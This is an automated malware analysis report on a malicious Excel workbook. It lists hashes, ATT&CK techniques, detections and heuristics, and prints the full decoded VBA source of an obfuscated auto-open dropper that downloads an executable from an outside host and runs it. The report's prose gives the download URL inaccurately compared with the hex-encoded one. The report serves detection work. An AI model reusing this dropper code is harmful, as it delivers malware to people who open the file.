Office (OOXML) malware analysis — malicious · ebd05c6e7ee7fb75

MALICIOUS

Office (OOXML)

117.5 KB First seen: 2020-09-15

MD5: d2224401bac33c89df6f75d507ca5785 SHA-1: 3ef31b2ea7a3299d5e5282e12cd4e0c0bc2f9f15 SHA-256: ebd05c6e7ee7fb75d8121d7cefae8926ec1cca9d3114d0bd85772764f25836ea

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains a Workbook_Open subroutine which is triggered automatically when the document is opened. This subroutine attempts to download a file from the URL 'http://myplanetguiges.com/temp/evrfsi.exe' and execute it. The macro uses obfuscated CreateObject calls and string concatenation, indicating a deliberate attempt to hide its malicious functionality. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq.write wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6611 bytes
SHA-256: `c9dd1afd0012f2acc0934b6c649b71e376052a4e1481aa9ceb159ce667a46090`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select itobwmnkmsxwcqjrkuwqknuylctocwycbugeisbxvuzucriytxqykhgvyppusyiqtuuhkeirtyupnavttvvefasuokgsdhfwmjai"68 74 74 70 3A 2F 2F 6D 79 70 6C 61 6E 65 74 67 75 69 64 65 73 2E 63 6F 6D 2F 74 65 6D 70 2F 65 76 72 66 73 69 79 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub itobwmnkmsxwcqjrkuwqknuylctocwycbugeisbxvuzucriytxqykhgvyppusyiqtuuhkeirtyupnavttvvefasuokgsdhfwmjai (rkgdwrnanjvudkpprdfbikpwqrdgftadpccsdknvbvmjycubddsiyolgvkmfohutisfaiwlhqjanygxnwcdbbrfaqvxsxihuasaf As String) Dim wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk Range("A6:J13").Select Dim zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq Range("A6:J13").Select Dim rhyofboyeyczyroydubofbowadanyrrytrvuuijobfccalqtkpddkjkqsbocaaznheggwudulmnaymvpmhcjnonjhebsugoagpuv Range("A6:J13").Select Set wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set rhyofboyeyczyroydubofbowadanyrrytrvuuijobfccalqtkpddkjkqsbocaaznheggwudulmnaymvpmhcjnonjhebsugoagpuv = CreateObject(wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) vxqueppasqlpgjxzqqbajktlzoyzfnwvfsjsnymbbcvospcrucsvfaskefvpqpvfuqjoaflrezygpftjmgecuapfayoidwkmhqub = wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi(rkgdwrnanjvudkpprdfbikpwqrdgftadpccsdknvbvmjycubddsiyolgvkmfohutisfaiwlhqjanygxnwcdbbrfaqvxsxihuasaf) gnrprbrfblvymlcjlsktbeobrcnhpmzzlrdzppltjjdodpwrtaaofaaczpxonjqplvnuiduwhqksazxcgwoolltkrbzzrwfzsoch = wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 74 69 7A 67 68 77 68 6F 71 2e 65 78 65") bbipgehpqibasvirvcdacddheueklkzmwpaenyhheetjzzhwoodqkcfyybllzwdgipdcudewuvwykuifniwwhjbukcfmnvihanak = wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 74 69 7A 67 68 77 68 6F 71 2e 65 78 65") wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk.Open chr(71) + chr(69) + chr(84), vxqueppasqlpgjxzqqbajktlzoyzfnwvfsjsnymbbcvospcrucsvfaskefvpqpvfuqjoaflrezygpftjmgecuapfayoidwkmhqub, False wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk.send zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq.Type = 1 zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq.Open zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq.write wtsgrlsooyiomzjmdtsqnfknztjhcfnffsqcjwkpzqmsmigxzuqhaksrjfhybklilciuigdgicrwsraqmmihpffvzzsdploofdhk.responseBody zlpsrjyxtwysfqlpbdsfwmvinarxocrojpqbwqqfhhcdaaxyzzmbkconqgerrbjqejiqaktlnmxpkrinctxpppdhbdkplzogxmyq.savetofile gnrprbrfblvymlcjlsktbeobrcnhpmzzlrdzppltjjdodpwrtaaofaaczpxonjqplvnuiduwhqksazxcgwoolltkrbzzrwfzsoch, 2 rhyofboyeyczyroydubofbowadanyrrytrvuuijobfccalqtkpddkjkqsbocaaznheggwudulmnaymvpmhcjnonjhebsugoagpuv.Run bbipgehpqibasvirvcdacddheueklkzmwpaenyhheetjzzhwoodqkcfyybllzwdgipdcudewuvwykuifniwwhjbukcfmnvihanak End Sub Public Function wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi(ByVal fkxqlirywksggzptxqztrwzrskaeymtjrakcjmxfwonwmvmurudqpbeikgxbhnzjripfpmjlttwcjdexxfndjdupvbsdovyjpdfe As String) As String Dim fgfelsxvfbzhcadbzwaoozknufwxvnngyarqzisrfykuckbnswjtcqpgwsjfvazrotjbjmbrdjiqpplkeiezdudhklthzmvfysgj As String Dim bzefuspsizqhhzbnvaotpcrysusrodrwjbiedzekfkylumzzlikxdmuzigmaaxefhuxfqwjwwdoedgegusffttswhjwxmekhgtda As String Dim otioznbaypvbcgfhrymobayhzlkstgyjcdrajqgfssyrnuvfycqhhoznvbpndjgrrlzypexasgwicgufpetqqqcoedfibsbilhab As Long For otioznbaypvbcgfhrymobayhzlkstgyjcdrajqgfssyrnuvfycqhhoznvbpndjgrrlzypexasgwicgufpetqqqcoedfibsbilhab = 1 To Len(fkxqlirywksggzptxqztrwzrskaeymtjrakcjmxfwonwmvmurudqpbeikgxbhnzjripfpmjlttwcjdexxfndjdupvbsdovyjpdfe)Step 3 fgfelsxvfbzhcadbzwaoozknufwxvnngyarqzisrfykuckbnswjtcqpgwsjfvazrotjbjmbrdjiqpplkeiezdudhklthzmvfysgj = Chr$(Val("&H" & Mid$(fkxqlirywksggzptxqztrwzrskaeymtjrakcjmxfwonwmvmurudqpbeikgxbhnzjripfpmjlttwcjdexxfndjdupvbsdovyjpdfe, otioznbaypvbcgfhrymobayhzlkstgyjcdrajqgfssyrnuvfycqhhoznvbpndjgrrlzypexasgwicgufpetqqqcoedfibsbilhab, 2))) bzefuspsizqhhzbnvaotpcrysusrodrwjbiedzekfkylumzzlikxdmuzigmaaxefhuxfqwjwwdoedgegusffttswhjwxmekhgtda = bzefuspsizqhhzbnvaotpcrysusrodrwjbiedzekfkylumzzlikxdmuzigmaaxefhuxfqwjwwdoedgegusffttswhjwxmekhgtda & fgfelsxvfbzhcadbzwaoozknufwxvnngyarqzisrfykuckbnswjtcqpgwsjfvazrotjbjmbrdjiqpplkeiezdudhklthzmvfysgj Next otioznbaypvbcgfhrymobayhzlkstgyjcdrajqgfssyrnuvfycqhhoznvbpndjgrrlzypexasgwicgufpetqqqcoedfibsbilhab wbopoyelmqhxtwbwdektbatzyqomtydeanwrggpgvhhxcizhgi = bzefuspsizqhhzbnvaotpcrysusrodrwjbiedzekfkylumzzlikxdmuzigmaaxefhuxfqwjwwdoedgegusffttswhjwxmekhgtda End Function Attribute VB_Name = "vfckkgvpfhnesgyqzhyznjrrx" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `3c32bb5b5f58d1c7135e133aba56ff1cac48a3214da8bbbe6c05650b4b609e09`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 118 of 207 identifiers look randomly generated (e.g. 'vfckkgvpfhnesgyqzhyznjrrx') — consistent with name-mangling obfuscation.

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